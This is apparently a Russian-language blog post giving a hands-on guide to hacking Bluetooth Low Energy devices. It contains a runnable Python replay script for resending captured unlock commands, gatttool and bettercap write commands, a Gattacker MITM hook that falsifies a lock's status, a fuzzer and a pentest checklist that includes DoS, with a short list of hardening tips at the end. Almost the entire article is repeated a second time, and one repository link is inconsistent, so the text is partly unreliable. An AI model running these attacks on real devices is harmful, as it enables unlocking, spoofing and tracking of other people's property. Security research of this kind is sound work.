Всем привет. Давно хотел собрать в одном месте всё что знаю про безопасность Bluetooth Low Energy — не очередной пересказ «что такое BLE» из вики, а именно практику с инструментами, командами и кодом. Получилось объёмно, но, надеюсь, полезно.
Зачем вообще ковырять BLE
BLE сейчас буквально везде — умные замки, трекеры, наушники, медицинские девайсы, зубные щётки, секс-игрушки (да, и их тоже ломают). Миллиарды устройств орут в эфир 24/7 «я тут, подключайся». При этом безопасность у большинства — на уровне «авось никто не полезет».
Flipper Zero конечно вывел тему в массы, но создал иллюзию что всё просто — нажал кнопку, открыл шлагбаум. В реальности 90% того что показывают в тиктоке это либо replay на древних устройствах, либо BLE Spam который просто спамит уведомлениями. Настоящий аудит — это совсем другая история.
Немного теории (без этого никуда)
Каналы
BLE работает в 2.4 ГГц, 40 каналов. Для нас важно разделение:
Advertising каналы (37, 38, 39) — тут устройства кричат «я существую». Разнесены по спектру чтобы не пересекаться с Wi-Fi. Для атакующего это значит что «дверь» всегда в трёх известных местах.
Data каналы (0-36) — используются после соединения, прыгают по частотам (FHSS).
Вывод простой: любая атака начинается с прослушки каналов 37, 38, 39.
Пакет CONNECT_IND — самое важное
Когда телефон подключается к устройству, он шлёт пакет CONNECT_IND. В нём Access Address, параметры прыжков по каналам, всё что нужно чтобы следить за соединением. Если сниффер пропустил этот единственный пакет — всё, соединение для него невидимо. Поэтому сниффер должен работать ДО того как произойдёт подключение.
GATT — где живут баги
GATT — это по сути таблица с данными устройства. Сервисы → характеристики → значения. Главная проблема: разработчики забывают ставить флаги шифрования и аутентификации. OTA-обновление прошивки доступно любому подключившемуся. «Секретные» UUID передаются открытым текстом. Security by obscurity во всей красе.
Железо
Встроенный Bluetooth в ноутбуке бесполезен для сниффинга — драйвера не дают доступ к Link Layer.
nRF52840 Dongle (~$10) — золотой стандарт. Поддерживает BLE 5 полностью, отличная интеграция с Wireshark. За десять баксов получаете профессиональный анализатор.
Ubertooth One (~$120) — легенда, но устарел. Не видит BLE 5 (2M PHY, Coded PHY). За эти деньги лучше купить 12 nRF-донглов.
Flipper Zero (~$170) — хорош для полевой разведки и wardriving. Не полноценный анализатор трафика — это инструмент для активного воздействия.
ESP32 (~$5) — бюджетный вариант для стационарного мониторинга и BLE Spam.
Настройка сниффера (nRF52840 + Wireshark)
Прошивка донгла:
wget https://nsscprodmedia.blob.core.windows.net/.../nrf_sniffer_for_bluetooth_le_4.1.1.zip
unzip nrf_sniffer_for_bluetooth_le_4.1.1.zip
nrfutil dfu serial -pkg sniffer_nrf52840dongle_nrf52840_4.1.1.zip -p /dev/ttyACM0 -b 115200
Плагин Wireshark:
pip install pyserial
cp -r extcap/* ~/.local/lib/wireshark/extcap/
chmod +x ~/.local/lib/wireshark/extcap/nrf_sniffer_ble.sh
После этого в Wireshark появится интерфейс «nRF Sniffer for Bluetooth LE». Выбираете целевое устройство из списка и ловите пакеты.
Фильтры Wireshark для BLE — шпаргалка
btle.advertising_header.pdu_type == 0x05 — CONNECT_IND
btatt.opcode == 0x12 — Write Request (команды на устройство)
btatt.opcode == 0x52 — Write Command (без ACK)
btatt.opcode == 0x0b — Read Response
btatt.opcode == 0x1b — Handle Value Notification
btatt.handle == 0x0025 — конкретный Handle
btsmp — все пакеты спаривания
btle.advertising_address == aa:bb:cc:dd:ee:ff — по MAC
Дешифровка трафика
Legacy Pairing (BLE 4.0/4.1) — рай для хакера
Just Works — ключ TK равен нулю. Wireshark сам выведет STK и расшифрует всё. Это буквально отсутствие защиты.
Passkey Entry — 6-значный PIN, миллион комбинаций. Брутится мгновенно.
Инструмент crackle делает это автоматически:
git clone https://github.com/mikeryan/crackle.git
cd crackle && make
# Автоматический брутфорс из pcap
./crackle -i capture.pcap -o decrypted.pcap
# Если известен TK (Just Works = 0)
./crackle -i capture.pcap -o decrypted.pcap -t 000000
На выходе — pcap с расшифрованным GATT-трафиком. Открываете в Wireshark и видите все команды в открытом виде.
LE Secure Connections (BLE 4.2+)
ECDH делает пассивный перехват математически невозможным. Тут только два пути — активная MITM-атака или вытаскивать ключи прямо с устройства (JTAG/SWD).
HCI Snoop Log — золотая жила Android
Это путь наименьшего сопротивления. Телефон — доверенный участник сети, он видит всё в открытом виде до того как данные уходят в радио-чип. И Android это отдаёт бесплатно.
# 1. Включить: Настройки > Для разработчиков > Журнал HCI Bluetooth
# 2. Поработать с BLE-устройством (открыть замок, прочитать датчик)
# 3. Забрать лог:
adb pull /data/misc/bluetooth/logs/btsnoop_hci.log ./
# Или без root через bugreport:
adb bugreport bugreport.zip
# Лог внутри: FS/data/misc/bluetooth/logs/
Дальше парсим tshark-ом:
# Все Write Request — это команды которые приложение шлёт на устройство
tshark -r btsnoop_hci.log -Y 'btatt.opcode == 0x12' \
-T fields -e btatt.handle -e btatt.value
# Вывод типа:
# 0x0025 55100100aa
# 0x0025 55100100bb
# Это и есть ваши replay-payload
# Статистика по типам операций:
tshark -r btsnoop_hci.log -Y 'btatt' \
-T fields -e btatt.opcode | sort | uniq -c | sort -rn
# Извлечь сервисы и характеристики:
tshark -r btsnoop_hci.log -Y 'btatt.opcode == 0x09' \
-T fields -e btatt.handle -e btatt.uuid16 -e btatt.uuid128
Вот теперь вы видите что именно приложение отправляет устройству, в каком порядке и в какие handle. Это основа для всего дальнейшего.
Replay-атаки
Почему они работают
Link Layer защищён счётчиками пакетов — просто переиграть радиосигнал не выйдет. Но уязвимость этажом выше — в Application Layer. Если приложение шифрует команду «Unlock» статическим ключом без nonce/timestamp/sequence number — шифротекст всегда одинаковый. Перехватил → подключился → записал те же байты в тот же handle → готово.
Кейс Master Lock D1000
Классика жанра. Замок использовал AES-CCM — стойкий алгоритм! Но nonce при каждом новом соединении инициализировался одним и тем же значением. Атака: записываешь сессию легитимного открытия, потом подключаешься заново (nonce сбрасывается), проигрываешь записанные команды — замок открывается. Стойкий алгоритм абсолютно бесполезен если нарушена уникальность nonce.
PoC: Python + Bleak
#!/usr/bin/env python3
"""BLE Replay PoC — разведка + replay"""
import asyncio
from bleak import BleakClient, BleakScanner
TARGET = "AA:BB:CC:DD:EE:FF"
async def scan_nearby():
"""Найти все BLE-устройства рядом"""
devices = await BleakScanner.discover(timeout=10.0)
for d in devices:
print(f" {d.address} RSSI:{d.rssi:>4} {d.name or 'N/A'}")
async def recon(address):
"""Дамп GATT-таблицы"""
async with BleakClient(address) as client:
print(f"Connected, MTU: {client.mtu_size}")
for svc in client.services:
print(f"\n Service: {svc.uuid}")
for char in svc.characteristics:
props = ", ".join(char.properties)
print(f" Char: {char.uuid}")
print(f" Handle: 0x{char.handle:04x} [{props}]")
if "read" in char.properties:
try:
val = await client.read_gatt_char(char)
print(f" Value: {val.hex()}")
except: pass
async def replay(address, char_uuid, payload_hex):
"""Отправка перехваченного payload"""
payload = bytearray.fromhex(payload_hex)
async with BleakClient(address) as client:
await client.write_gatt_char(char_uuid, payload)
print("Payload sent!")
asyncio.run(scan_nearby())
asyncio.run(recon(TARGET))
# После анализа HCI snoop:
# asyncio.run(replay(TARGET, "0000ffe1-0000-1000-8000-00805f9b34fb", "55100100aa"))
gatttool — быстрый вариант из терминала
# Разведка
gatttool -b AA:BB:CC:DD:EE:FF --characteristics
# Прочитать handle
gatttool -b AA:BB:CC:DD:EE:FF --char-read -a 0x0025
# Replay
gatttool -b AA:BB:CC:DD:EE:FF --char-write-req -a 0x0025 -n 55100100aa
# Или интерактивно:
gatttool -b AA:BB:CC:DD:EE:FF -I
BLE-Replay от NCC Group
Автоматизирует весь процесс:
git clone https://github.com/nccgroup/BLE-Replay.git
cd BLE-Replay
python ble-replay.py --capture -o session.json
python ble-replay.py --show session.json
python ble-replay.py --replay session.json
MITM
Когда replay не катит (устройство использует Secure Connections или динамические токены), переходим к MITM.
Клонируете целевое устройство (MAC, имя, GATT-структуру), поднимаете фейк. Телефон подключается к вашему фейку, вы подключаетесь к реальному устройству. Два независимых шифрованных канала, а посередине — вы с данными в открытом виде.
Gattacker — пошагово
Нужны два BLE-адаптера.
git clone https://github.com/nicbhoc/gattacker.git
cd gattacker && npm install
# Сканирование и дамп цели в JSON
node ws-slave.js
# Поднять клона
node advertise.js -a devices/aabbccddeeff.json
Хук для модификации данных на лету:
// hooks/my_hook.js
module.exports = {
onWrite: function(device, handle, value) {
console.log('Write to ' + handle + ': ' + value.toString('hex'));
return value;
},
onRead: function(device, handle, value) {
// Подмена статуса "закрыт" на "открыт"
if (handle === 42 && value[0] === 0x00) value[0] = 0x01;
return value;
}
};
Bumble от Google
Полный контроль над стеком на Python:
pip install bumble
# Прозрачный GATT Proxy
bumble-gatt-proxy usb:0 --target-address AA:BB:CC:DD:EE:FF
Кастомная разведка:
import asyncio
from bumble.device import Device
from bumble.transport import open_transport_or_link
async def main():
async with await open_transport_or_link("usb:0") as (hci_src, hci_sink):
device = Device(name="Scanner", host=hci_src)
await device.power_on()
target = await device.connect("AA:BB:CC:DD:EE:FF")
peer = await target.discover_services()
for svc in peer.services:
print(f"Service: {svc.uuid}")
for ch in svc.characteristics:
print(f" Char: {ch.uuid} {ch.properties}")
asyncio.run(main())
Bettercap
sudo bettercap
ble.recon on
ble.show
ble.enum AA:BB:CC:DD:EE:FF
ble.read AA:BB:CC:DD:EE:FF 0025
ble.write AA:BB:CC:DD:EE:FF 0025 55100100aa
Downgrade Attack
Находясь в MITM, модифицируете Feature Exchange — говорите телефону что замок не поддерживает шифрование или умеет только Legacy Pairing. Если приложение не требует жёстко Security Mode 1 Level 4, оно согласится на незащищённое соединение.
Продвинутые атаки на протокол
BLESA (BLE Spoofing Attack)
Проблема в процедуре переподключения. Когда устройство теряет связь и восстанавливает, многие стеки (BlueZ, ранние iOS/Android) делали аутентификацию реактивной — только если сервер попросит.
Атака: ждёте пока телефон отключится от гаджета, начинаете advertise с его MAC, телефон подключается к вам, вы не запрашиваете шифрование — телефон продолжает работу по открытому каналу. Спуфинг данных датчиков без знания ключей.
WhisperPair (CVE-2025-36911)
Сегодня миллионы аудиоустройств (Sony, JBL, Nothing). Уязвимые прошивки принимают запросы Google Fast Pair всегда, игнорируя режим сопряжения. Атакующий шлёт специальный пакет — наушники жертвы принудительно спариваются с ним. Полный доступ к аудио, микрофону, плюс трекинг через Find My Device.
Stealtooth
Атака на автоматическое сопряжение. При потере связи устройства переходят в режим приёма новых ключей. Атакующий вызывает разрыв (Jamming) и перезаписывает Link Key своим.
Трекинг
MAC Randomization не спасает
Исследование Бостонского университета: устройство меняет MAC (A на B), но payload остаётся тем же — Manufacturer Specific Data, счётчик пакетов, версия прошивки. Наблюдатель связывает адреса через payload и продолжает слежку.
Стилусы типа Surface Pen и Apple Pencil вообще транслируют статические ID для быстрого обнаружения планшетом. Уникально идентифицируют владельца в толпе.
Фаззинг BLE
#!/usr/bin/env python3
"""Простой GATT-фаззер"""
import asyncio, os
from bleak import BleakClient
TARGET = "AA:BB:CC:DD:EE:FF"
PAYLOADS = [
b"", # пустой
b"\x00", # нулевой байт
b"\xff" * 20, # 20 байт 0xFF
b"\xff" * 255, # максимум ATT MTU
os.urandom(20), # случайные 20 байт
os.urandom(100), # случайные 100 байт
b"\x41" * 50, # переполнение?
bytes(range(256))[:20], # последовательность
]
async def fuzz():
async with BleakClient(TARGET) as client:
for svc in client.services:
for char in svc.characteristics:
if "write" not in char.properties:
continue
print(f"Fuzzing: {char.uuid}")
for i, pl in enumerate(PAYLOADS):
try:
await client.write_gatt_char(char, pl)
print(f" [{i}] {pl[:16].hex()}... OK")
except Exception as e:
print(f" [{i}] ERROR: {e}")
await asyncio.sleep(0.3)
asyncio.run(fuzz())
Для ATT-фаззинга можно генерить malformed PDU — невалидные opcode, handle 0x0000/0xFFFF, oversized MTU Exchange и скармливать через Bumble или сырой L2CAP сокет.
Чеклист пентеста BLE
Phase 0 — Passive Recon:
Сканирование (hcitool lescan / Bleak)
Захват Advertising Data: MAC, имя, UUID, Manufacturer Data
Проверка MAC Randomization
Пассивный сниффинг nRF52840 + Wireshark
Захват CONNECT_IND
Phase 1 — Active Recon:
Дамп GATT-таблицы (Bleak / gatttool / Bettercap)
Все Services, Characteristics, Descriptors
Права доступа каждой характеристики
Чтение всех readable
Подписка на Notify/Indicate
Поиск OTA DFU Service
Device Information Service
Phase 2 — Анализ:
HCI Snoop Log
tshark: извлечение payload
Формат команд — статические или динамические?
Есть ли nonce/counter/timestamp?
Legacy или Secure Connections?
Phase 3 — Эксплуатация:
Replay-атака
Запись в незащищённые характеристики
Фаззинг
MITM через Gattacker/Bumble
Downgrade Attack
BLESA при переподключении
OTA DFU без аутентификации
DoS: L2CAP flooding, BLE Spam
Phase 4 — Пост:
Извлечение ключей из прошивки (JTAG/SWD)
Статические ключи в firmware
PoC-скрипты для каждого вектора
Для разработчиков если вдруг читают:
1.Security Mode 1 Level 4. Только Secure Connections с Numeric Comparison. Никакого Legacy Pairing.
2.Шифруйте команды на уровне приложения (AES-GCM, ChaCha20) с динамическими nonce. Не доверяйте Link Layer.
3.Удалите уникальные ID из advertising. Меняйте payload синхронно с MAC.
4.Строгая аутентификация при reconnection — защита от BLESA.
5.GATT Permissions: ENCRYPTED | AUTHENTICATED на всё чувствительное.
6.OTA DFU только с проверкой подписи.
Самый короткий путь к взлому BLE-устройства — не через слом AES, а через логическую ошибку в GATT-таблице. Помните об этом.
Ссылки на инструменты:
nRF Sniffer — nordicsemi.com
crackle — github.com/mikeryan/crackle
Gattacker — github.com/securing/gattacker
Bumble — google.github.io/bumble
BLE-Replay — github.com/nccgroup/BLE-Replay
Bettercap — bettercap.org/modules/ble
Bleak — github.com/hbldh/bleak
Зачем вообще ковырять BLE
BLE сейчас буквально везде — умные замки, трекеры, наушники, медицинские девайсы, зубные щётки, секс-игрушки (да, и их тоже ломают). Миллиарды устройств орут в эфир 24/7 «я тут, подключайся». При этом безопасность у большинства — на уровне «авось никто не полезет».
Flipper Zero конечно вывел тему в массы, но создал иллюзию что всё просто — нажал кнопку, открыл шлагбаум. В реальности 90% того что показывают в тиктоке это либо replay на древних устройствах, либо BLE Spam который просто спамит уведомлениями. Настоящий аудит — это совсем другая история.
Немного теории (без этого никуда)
Каналы
BLE работает в 2.4 ГГц, 40 каналов. Для нас важно разделение:
Advertising каналы (37, 38, 39) — тут устройства кричат «я существую». Разнесены по спектру чтобы не пересекаться с Wi-Fi. Для атакующего это значит что «дверь» всегда в трёх известных местах.
Data каналы (0-36) — используются после соединения, прыгают по частотам (FHSS).
Вывод простой: любая атака начинается с прослушки каналов 37, 38, 39.
Пакет CONNECT_IND — самое важное
Когда телефон подключается к устройству, он шлёт пакет CONNECT_IND. В нём Access Address, параметры прыжков по каналам, всё что нужно чтобы следить за соединением. Если сниффер пропустил этот единственный пакет — всё, соединение для него невидимо. Поэтому сниффер должен работать ДО того как произойдёт подключение.
GATT — где живут баги
GATT — это по сути таблица с данными устройства. Сервисы → характеристики → значения. Главная проблема: разработчики забывают ставить флаги шифрования и аутентификации. OTA-обновление прошивки доступно любому подключившемуся. «Секретные» UUID передаются открытым текстом. Security by obscurity во всей красе.
Железо
Встроенный Bluetooth в ноутбуке бесполезен для сниффинга — драйвера не дают доступ к Link Layer.
nRF52840 Dongle (~$10) — золотой стандарт. Поддерживает BLE 5 полностью, отличная интеграция с Wireshark. За десять баксов получаете профессиональный анализатор.
Ubertooth One (~$120) — легенда, но устарел. Не видит BLE 5 (2M PHY, Coded PHY). За эти деньги лучше купить 12 nRF-донглов.
Flipper Zero (~$170) — хорош для полевой разведки и wardriving. Не полноценный анализатор трафика — это инструмент для активного воздействия.
ESP32 (~$5) — бюджетный вариант для стационарного мониторинга и BLE Spam.
Настройка сниффера (nRF52840 + Wireshark)
Прошивка донгла:
wget https://nsscprodmedia.blob.core.windows.net/.../nrf_sniffer_for_bluetooth_le_4.1.1.zip
unzip nrf_sniffer_for_bluetooth_le_4.1.1.zip
nrfutil dfu serial -pkg sniffer_nrf52840dongle_nrf52840_4.1.1.zip -p /dev/ttyACM0 -b 115200
Плагин Wireshark:
pip install pyserial
cp -r extcap/* ~/.local/lib/wireshark/extcap/
chmod +x ~/.local/lib/wireshark/extcap/nrf_sniffer_ble.sh
После этого в Wireshark появится интерфейс «nRF Sniffer for Bluetooth LE». Выбираете целевое устройство из списка и ловите пакеты.
Фильтры Wireshark для BLE — шпаргалка
btle.advertising_header.pdu_type == 0x05 — CONNECT_IND
btatt.opcode == 0x12 — Write Request (команды на устройство)
btatt.opcode == 0x52 — Write Command (без ACK)
btatt.opcode == 0x0b — Read Response
btatt.opcode == 0x1b — Handle Value Notification
btatt.handle == 0x0025 — конкретный Handle
btsmp — все пакеты спаривания
btle.advertising_address == aa:bb:cc:dd:ee:ff — по MAC
Дешифровка трафика
Legacy Pairing (BLE 4.0/4.1) — рай для хакера
Just Works — ключ TK равен нулю. Wireshark сам выведет STK и расшифрует всё. Это буквально отсутствие защиты.
Passkey Entry — 6-значный PIN, миллион комбинаций. Брутится мгновенно.
Инструмент crackle делает это автоматически:
git clone https://github.com/mikeryan/crackle.git
cd crackle && make
# Автоматический брутфорс из pcap
./crackle -i capture.pcap -o decrypted.pcap
# Если известен TK (Just Works = 0)
./crackle -i capture.pcap -o decrypted.pcap -t 000000
На выходе — pcap с расшифрованным GATT-трафиком. Открываете в Wireshark и видите все команды в открытом виде.
LE Secure Connections (BLE 4.2+)
ECDH делает пассивный перехват математически невозможным. Тут только два пути — активная MITM-атака или вытаскивать ключи прямо с устройства (JTAG/SWD).
HCI Snoop Log — золотая жила Android
Это путь наименьшего сопротивления. Телефон — доверенный участник сети, он видит всё в открытом виде до того как данные уходят в радио-чип. И Android это отдаёт бесплатно.
# 1. Включить: Настройки > Для разработчиков > Журнал HCI Bluetooth
# 2. Поработать с BLE-устройством (открыть замок, прочитать датчик)
# 3. Забрать лог:
adb pull /data/misc/bluetooth/logs/btsnoop_hci.log ./
# Или без root через bugreport:
adb bugreport bugreport.zip
# Лог внутри: FS/data/misc/bluetooth/logs/
Дальше парсим tshark-ом:
# Все Write Request — это команды которые приложение шлёт на устройство
tshark -r btsnoop_hci.log -Y 'btatt.opcode == 0x12' \
-T fields -e btatt.handle -e btatt.value
# Вывод типа:
# 0x0025 55100100aa
# 0x0025 55100100bb
# Это и есть ваши replay-payload
# Статистика по типам операций:
tshark -r btsnoop_hci.log -Y 'btatt' \
-T fields -e btatt.opcode | sort | uniq -c | sort -rn
# Извлечь сервисы и характеристики:
tshark -r btsnoop_hci.log -Y 'btatt.opcode == 0x09' \
-T fields -e btatt.handle -e btatt.uuid16 -e btatt.uuid128
Вот теперь вы видите что именно приложение отправляет устройству, в каком порядке и в какие handle. Это основа для всего дальнейшего.
Replay-атаки
Почему они работают
Link Layer защищён счётчиками пакетов — просто переиграть радиосигнал не выйдет. Но уязвимость этажом выше — в Application Layer. Если приложение шифрует команду «Unlock» статическим ключом без nonce/timestamp/sequence number — шифротекст всегда одинаковый. Перехватил → подключился → записал те же байты в тот же handle → готово.
Кейс Master Lock D1000
Классика жанра. Замок использовал AES-CCM — стойкий алгоритм! Но nonce при каждом новом соединении инициализировался одним и тем же значением. Атака: записываешь сессию легитимного открытия, потом подключаешься заново (nonce сбрасывается), проигрываешь записанные команды — замок открывается. Стойкий алгоритм абсолютно бесполезен если нарушена уникальность nonce.
PoC: Python + Bleak
#!/usr/bin/env python3
"""BLE Replay PoC — разведка + replay"""
import asyncio
from bleak import BleakClient, BleakScanner
TARGET = "AA:BB:CC:DD:EE:FF"
async def scan_nearby():
"""Найти все BLE-устройства рядом"""
devices = await BleakScanner.discover(timeout=10.0)
for d in devices:
print(f" {d.address} RSSI:{d.rssi:>4} {d.name or 'N/A'}")
async def recon(address):
"""Дамп GATT-таблицы"""
async with BleakClient(address) as client:
print(f"Connected, MTU: {client.mtu_size}")
for svc in client.services:
print(f"\n Service: {svc.uuid}")
for char in svc.characteristics:
props = ", ".join(char.properties)
print(f" Char: {char.uuid}")
print(f" Handle: 0x{char.handle:04x} [{props}]")
if "read" in char.properties:
try:
val = await client.read_gatt_char(char)
print(f" Value: {val.hex()}")
except: pass
async def replay(address, char_uuid, payload_hex):
"""Отправка перехваченного payload"""
payload = bytearray.fromhex(payload_hex)
async with BleakClient(address) as client:
await client.write_gatt_char(char_uuid, payload)
print("Payload sent!")
asyncio.run(scan_nearby())
asyncio.run(recon(TARGET))
# После анализа HCI snoop:
# asyncio.run(replay(TARGET, "0000ffe1-0000-1000-8000-00805f9b34fb", "55100100aa"))
gatttool — быстрый вариант из терминала
# Разведка
gatttool -b AA:BB:CC:DD:EE:FF --characteristics
# Прочитать handle
gatttool -b AA:BB:CC:DD:EE:FF --char-read -a 0x0025
# Replay
gatttool -b AA:BB:CC:DD:EE:FF --char-write-req -a 0x0025 -n 55100100aa
# Или интерактивно:
gatttool -b AA:BB:CC:DD:EE:FF -I
connect
primary
characteristics
char-write-req 0x0025 55100100aa
BLE-Replay от NCC Group
Автоматизирует весь процесс:
git clone https://github.com/nccgroup/BLE-Replay.git
cd BLE-Replay
python ble-replay.py --capture -o session.json
python ble-replay.py --show session.json
python ble-replay.py --replay session.json
MITM
Когда replay не катит (устройство использует Secure Connections или динамические токены), переходим к MITM.
Клонируете целевое устройство (MAC, имя, GATT-структуру), поднимаете фейк. Телефон подключается к вашему фейку, вы подключаетесь к реальному устройству. Два независимых шифрованных канала, а посередине — вы с данными в открытом виде.
Gattacker — пошагово
Нужны два BLE-адаптера.
git clone https://github.com/nicbhoc/gattacker.git
cd gattacker && npm install
# Сканирование и дамп цели в JSON
node ws-slave.js
# Поднять клона
node advertise.js -a devices/aabbccddeeff.json
Хук для модификации данных на лету:
// hooks/my_hook.js
module.exports = {
onWrite: function(device, handle, value) {
console.log('Write to ' + handle + ': ' + value.toString('hex'));
return value;
},
onRead: function(device, handle, value) {
// Подмена статуса "закрыт" на "открыт"
if (handle === 42 && value[0] === 0x00) value[0] = 0x01;
return value;
}
};
Bumble от Google
Полный контроль над стеком на Python:
pip install bumble
# Прозрачный GATT Proxy
bumble-gatt-proxy usb:0 --target-address AA:BB:CC:DD:EE:FF
Кастомная разведка:
import asyncio
from bumble.device import Device
from bumble.transport import open_transport_or_link
async def main():
async with await open_transport_or_link("usb:0") as (hci_src, hci_sink):
device = Device(name="Scanner", host=hci_src)
await device.power_on()
target = await device.connect("AA:BB:CC:DD:EE:FF")
peer = await target.discover_services()
for svc in peer.services:
print(f"Service: {svc.uuid}")
for ch in svc.characteristics:
print(f" Char: {ch.uuid} {ch.properties}")
asyncio.run(main())
Bettercap
sudo bettercap
ble.recon on
ble.show
ble.enum AA:BB:CC:DD:EE:FF
ble.read AA:BB:CC:DD:EE:FF 0025
ble.write AA:BB:CC:DD:EE:FF 0025 55100100aa
Downgrade Attack
Находясь в MITM, модифицируете Feature Exchange — говорите телефону что замок не поддерживает шифрование или умеет только Legacy Pairing. Если приложение не требует жёстко Security Mode 1 Level 4, оно согласится на незащищённое соединение.
Продвинутые атаки на протокол
BLESA (BLE Spoofing Attack)
Проблема в процедуре переподключения. Когда устройство теряет связь и восстанавливает, многие стеки (BlueZ, ранние iOS/Android) делали аутентификацию реактивной — только если сервер попросит.
Атака: ждёте пока телефон отключится от гаджета, начинаете advertise с его MAC, телефон подключается к вам, вы не запрашиваете шифрование — телефон продолжает работу по открытому каналу. Спуфинг данных датчиков без знания ключей.
WhisperPair (CVE-2025-36911)
Сегодня миллионы аудиоустройств (Sony, JBL, Nothing). Уязвимые прошивки принимают запросы Google Fast Pair всегда, игнорируя режим сопряжения. Атакующий шлёт специальный пакет — наушники жертвы принудительно спариваются с ним. Полный доступ к аудио, микрофону, плюс трекинг через Find My Device.
Stealtooth
Атака на автоматическое сопряжение. При потере связи устройства переходят в режим приёма новых ключей. Атакующий вызывает разрыв (Jamming) и перезаписывает Link Key своим.
Трекинг
MAC Randomization не спасает
Исследование Бостонского университета: устройство меняет MAC (A на B), но payload остаётся тем же — Manufacturer Specific Data, счётчик пакетов, версия прошивки. Наблюдатель связывает адреса через payload и продолжает слежку.
Стилусы типа Surface Pen и Apple Pencil вообще транслируют статические ID для быстрого обнаружения планшетом. Уникально идентифицируют владельца в толпе.
Фаззинг BLE
#!/usr/bin/env python3
"""Простой GATT-фаззер"""
import asyncio, os
from bleak import BleakClient
TARGET = "AA:BB:CC:DD:EE:FF"
PAYLOADS = [
b"", # пустой
b"\x00", # нулевой байт
b"\xff" * 20, # 20 байт 0xFF
b"\xff" * 255, # максимум ATT MTU
os.urandom(20), # случайные 20 байт
os.urandom(100), # случайные 100 байт
b"\x41" * 50, # переполнение?
bytes(range(256))[:20], # последовательность
]
async def fuzz():
async with BleakClient(TARGET) as client:
for svc in client.services:
for char in svc.characteristics:
if "write" not in char.properties:
continue
print(f"Fuzzing: {char.uuid}")
for i, pl in enumerate(PAYLOADS):
try:
await client.write_gatt_char(char, pl)
print(f" [{i}] {pl[:16].hex()}... OK")
except Exception as e:
print(f" [{i}] ERROR: {e}")
await asyncio.sleep(0.3)
asyncio.run(fuzz())
Для ATT-фаззинга можно генерить malformed PDU — невалидные opcode, handle 0x0000/0xFFFF, oversized MTU Exchange и скармливать через Bumble или сырой L2CAP сокет.
Чеклист пентеста BLE
Phase 0 — Passive Recon:
Сканирование (hcitool lescan / Bleak)
Захват Advertising Data: MAC, имя, UUID, Manufacturer Data
Проверка MAC Randomization
Пассивный сниффинг nRF52840 + Wireshark
Захват CONNECT_IND
Phase 1 — Active Recon:
Дамп GATT-таблицы (Bleak / gatttool / Bettercap)
Все Services, Characteristics, Descriptors
Права доступа каждой характеристики
Чтение всех readable
Подписка на Notify/Indicate
Поиск OTA DFU Service
Device Information Service
Phase 2 — Анализ:
HCI Snoop Log
tshark: извлечение payload
Формат команд — статические или динамические?
Есть ли nonce/counter/timestamp?
Legacy или Secure Connections?
Phase 3 — Эксплуатация:
Replay-атака
Запись в незащищённые характеристики
Фаззинг
MITM через Gattacker/Bumble
Downgrade Attack
BLESA при переподключении
OTA DFU без аутентификации
DoS: L2CAP flooding, BLE Spam
Phase 4 — Пост:
Извлечение ключей из прошивки (JTAG/SWD)
Статические ключи в firmware
PoC-скрипты для каждого вектора
Для разработчиков если вдруг читают:
1.Security Mode 1 Level 4. Только Secure Connections с Numeric Comparison. Никакого Legacy Pairing.
2.Шифруйте команды на уровне приложения (AES-GCM, ChaCha20) с динамическими nonce. Не доверяйте Link Layer.
3.Удалите уникальные ID из advertising. Меняйте payload синхронно с MAC.
4.Строгая аутентификация при reconnection — защита от BLESA.
5.GATT Permissions: ENCRYPTED | AUTHENTICATED на всё чувствительное.
6.OTA DFU только с проверкой подписи.
Самый короткий путь к взлому BLE-устройства — не через слом AES, а через логическую ошибку в GATT-таблице. Помните об этом.
Ссылки на инструменты:
nRF Sniffer — nordicsemi.com
crackle — github.com/mikeryan/crackle
Gattacker — github.com/securing/gattacker
Bumble — google.github.io/bumble
BLE-Replay — github.com/nccgroup/BLE-Replay
Bettercap — bettercap.org/modules/ble
Bleak — github.com/hbldh/bleak
👍24
😮4
💯4
LIMB